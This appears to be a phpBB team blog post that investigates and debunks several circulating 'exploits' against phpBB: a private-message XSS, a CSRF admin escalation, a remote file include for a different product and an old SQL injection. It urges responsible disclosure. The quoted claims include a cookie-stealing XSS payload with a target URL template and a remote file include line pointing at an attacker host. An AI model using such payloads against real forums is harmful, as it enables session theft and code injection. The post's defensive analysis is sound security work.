Yes, it is no secret that phpBB’s reputation regarding security has not yet recovered completely. We take every report about possible vulnerabilities seriously and are deeply grateful about reports on our security tracker. We give full credit for all undisclosed valid reports made on our trackers.

Even if one is not sure about what happened, the nice guys from the Incident Investigation Team will help you figure it out. If in doubt: report.

The things floating on the web and frequently washing up in our tracker are usually not valid, however. Ready for the fun? Here comes the first installment of “Exploits from the crypt”:

I: XSS

Name: “[0day] phpBB3 XSS via Private Messages”

Age: 3 Months

Kernel of truth: Unknown – probably none

Source: ask google about th0r

Status: Bogus

Aha! Do you remember the CSRF vulnerabilities on phpBB that I posted before? I’m sure you still remember that! Today I just went to several board and email(s) that I’ve got an access to – Well, I’d like to leave the question on the credibilities of that access, whether they are legal or not, to each of your imaginations. That is not important anyway, what is important and will be the core of this topic is a finding of 0day vulnerabilities on phpBB3 private messaging system.

Oh joy. I won’t go into that “CSRF”, which would fail based on the same domain policy. Anyhow, let’s follow the agenda he set.

Yes! That phpBB3 – The latest version of phpBB products, one of the best and free automated forum machines. They got an XSS (Cross Site Scripting) vulnerabilities within their private messaging system for this time. I hope that this vulnerabilities going to be patched by phpBB, but also that some of my readers here gained advantages already out of this interesting vulnerability.

Again: the responsible thing is to report anything – regardless of the validity – to our tracker. Tagging it “0-day” and posting it on the web is not only irresponsible, but also an excellent chance of getting an “open mouth – insert foot” moment. While we are at it, what’s “one of the best” supposed to mean?

So yeah – Here is the XSS vulnerability that I am talking about up there!

Finally!

Let’s say that this is the format of the URL when you’re about to test and/or put this vulnerability in your targeted forum:

Code: Select all

http://TRAGET/ucp.php?i=pm&mode=compose&action=reply&f=[xss]&p=6779

Where [xss] need to be changed and replaced with several javascript and/or vBscript, etc (It’s all up to your imaginations) – I’m not going to gave out any step-by-step tutorial for doing this, do your own experiment(s):

Code: Select all

”;!–”<script>alert(document.cookie);</script>=&{(alert(1))}

Aha. So the idea is that a parameter f is used in the PM compose module of the UCP. Let’s see where that leads…

Code: Select all

$ grep -iR "request_var('f'" includes/ucp/*

includes/ucp/ucp_main.php: $forums = array_keys(request_var('f', array(0 => 0)));

includes/ucp/ucp_pm.php: $folder_id = request_var('f', PRIVMSGS_NO_BOX);<

includes/ucp/ucp_pm_compose.php: // $folder_id = request_var('f', PRIVMSGS_NO_BOX);

$

Hmm. Seems that the parameter ‘f’ is only used as integer or integer array. Moreover it is not used at all in ucp_pm_compose, as the line is commented out. But well, maybe it is a breach of our coding guidelines and used directly?

Code: Select all

$ grep -iR "T\['f'" includes/ucp/*

$

Nope.

Weird. Is the vulnerability – gasp – maybe just made up?

So let’s look at the file itself: ucp_pm_compose. No direct use of the query string, nothing how a parameter ‘f’ could get into the output.

Indeed, visiting “ucp.php?i=pm&mode=compose&action=reply&f=[xss]&p=6779” on a “traget”[sic], doesn’t produce ‘[xss]’ in the html, not even with valid ids. Having collected that evidence, I hereby rule this exploit : Bogus

In order to do any redirection, you can go and use these script(s): […]

I’ll spare you the implementation of a cookie grabber. Sounds a lot like sesame street anyway.

So, have fun!

We had. Thanks a lot.

NB: This is not tested! So please do not sent any complaint to me – I found it on some underground site(s) and this is not my personal stuff(s)!

Why have you published it then?

II – CSRF

Name: “CSRF on phpBB – Add yourself to Admin Group”

Age: 6 Months

Kernel of truth: If one could get into the vault, he might rob the bank

Source: ask Google about th0r

Status: Bogus

Oh well. Now let’s come to that “CSRF”.

Ok, i found this from one of the Gmail Inbox that I was playing with before. It’s kinda funny though and it’s still a 0day (Brand new exploit) i believe.

Okay. Thanks for added explanation, although my opinion is that there’s no such thing as a second-hand 0-day.

We’ve already know that CSRF Injection is a malicious technique that makes some trusted user(s) of some specific website(s) run some command(s) – And we’ve been talking about the real owner of a Gmail Account that goes to CSRF Example page of mine and execute the command to logged himself off the Gmail Account automatically.

In this case, we’re about to see a PoC (Proof of Concept) of a script, which going to make Administrator(s) of some phpBB add a user (Can be you – Can also be everyone. Depending on how you set the script) to the Administrator Group. This can be a dangerous exploit for those phpBB Owner.

Oh boy. I can hardly wait. Can you?

Here is the script:

[…]

In order to make this script run perfectly, one need to run it locally (As *.html in the local machine). Because it uses xmlhttprequest which going to be rejected by firefox security – Since firefox security won’t allow a site to run xmlhttp.

Aha. Looking at that script, it is using Ajax to obtain valid credentials and then perform actions. The quirky sentence about xmlhttprequest hints it: thanks to the same domain policy enforced in modern browsers, this can’t work. The only way to make such things work, would be either able to upload files to the target domain or knowing an XSS. Neither is present here, so that this “exploit” is a thought experiment about what to do with an actual exploit. Essentially, he’s saying “If I could open the barn door, I could steal a horse”.

It still can be very useful and dangerous – Since some malicious guys can just put some interesting software and/or hacks of some specific CMS (Or maybe e-banking) and put it in *.html file(s) along with this script on it. Once the owner of the site open it up, and he must be logged in as Administrator on that site – Then we can be the administrator there too.

Indeed. Hooray. Oh wait a moment. We need to upload a file to the target … So this is a plan to break into the bank under the premise of having the key and access to the vault?

In order to run this program properly, we also need to change the postdata and siteurl on that script. Do not forget to changed the admin groupid within the variable postdata.

And don’t forget to ask nicely for that key.

The lesson to learn from this certainly is: don’t underestimate XSS and don’t think it is harmless to allow people to upload files to your domain unscreened. It is not a vulnerability, but an alarming example on what people might do with a vulnerability.

Next please.

III – something else: wrong recipient

Name: “Extreme phpBB 3.0.1 (functions.php) Remote File Include Exploit”

Age: 16 Months

Kernel of truth: phpBB2 preMOD from 2004

Source: Milw0rm

Status: Don’t ask us

Code: Select all

# (C) xoron

#

# [Name: phpBB Extreme 3.0.1

(phpbb_root_path) Remote File Include Exploit ]

#

# [Author: xoron]

# [Exploit coded by xoron]

#

# [Download: http://sourceforge.net/project/showfiles.php?group_id=95900 ]

#

# [Tesekkurler: pang0, DJR]

#

# [POC: /includes/functions.php?phpbb_root_path=http://evilscripts?]...



Okay. Stop right here. phpBB Extreme is not phpBB. phpBB Extreme saw its last release in 2004 and doesn’t seem to share a single line of code with phpBB 3.0.1. And to be very clear: phpBB2 never had such a vulnerability either.

IV – the bogus, the misguided and the … ancient

Name: “PhpBB 3 memberlist.php/’ip’ argument SQL injection”

Age: ~24 Months

Kernel of truth: Old phpBB3 Beta

Source: Bugtraq/Google

Status: Fixed a loooong time ago

This one still floats around a lot and gets reported regularly. In fact one of the very old Betas, long before the RC stage, really had this issue. Alas, only if the attacker enjoyed global moderator privileges.

Nonetheless, is this a good example why the strict adherence to coding guidelines is so important. It also shows why the betas were not intended for live use.

Recap

Well, that’s it for today. The really important message is: report anything you find. Bonus points for well researched reports. Also don’t be alarmed by people claiming to have exploits – investigate them and – if in doubt – report them to us. That won’t take away the option to blog about them later on.

Bottom line: Report to the security tracker. You will not miss out on fame. Furthermore, we will not make fun of you – regardless of the report’s validity. Just report.

Moreover, we give full credit to people who do the responsible thing of giving us the breathing space to fix things before disclosing them. After all, the quickest way to make the web safer is giving us the day we need.

1. Research something thoroughly (only if you want to do 5)
2. Find the right vendor
3. Should the phpBB group be that vendor: Report to our Security Tracker
4. Wait
5. Disclose